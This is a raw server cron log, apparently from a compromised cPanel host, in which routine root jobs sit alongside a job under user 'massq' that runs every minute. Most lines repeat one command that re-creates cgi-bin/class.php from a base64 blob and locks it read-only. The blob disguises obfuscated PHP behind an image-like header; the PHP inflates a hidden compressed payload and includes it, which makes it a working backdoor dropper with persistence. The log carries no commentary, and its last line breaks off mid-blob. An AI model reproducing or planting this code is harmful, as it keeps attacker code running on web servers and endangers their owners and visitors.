Apr  8 17:13:01 server CROND[17674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:14:01 server CROND[17730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:15:01 server CROND[17799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 17:15:01 server CROND[17800]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 17:15:01 server CROND[17801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:16:01 server CROND[17907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:17:01 server CROND[17966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:18:01 server CROND[18121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:19:01 server CROND[18188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:20:01 server CROND[18245]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 17:20:01 server CROND[18246]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 17:20:01 server CROND[18247]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 17:20:01 server CROND[18249]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 17:20:01 server CROND[18251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:21:01 server CROND[18417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:22:01 server CROND[18469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:23:01 server CROND[18615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:24:01 server CROND[18672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:25:01 server CROND[18729]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 17:25:01 server CROND[18730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:25:01 server CROND[18731]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 17:26:01 server CROND[18843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQK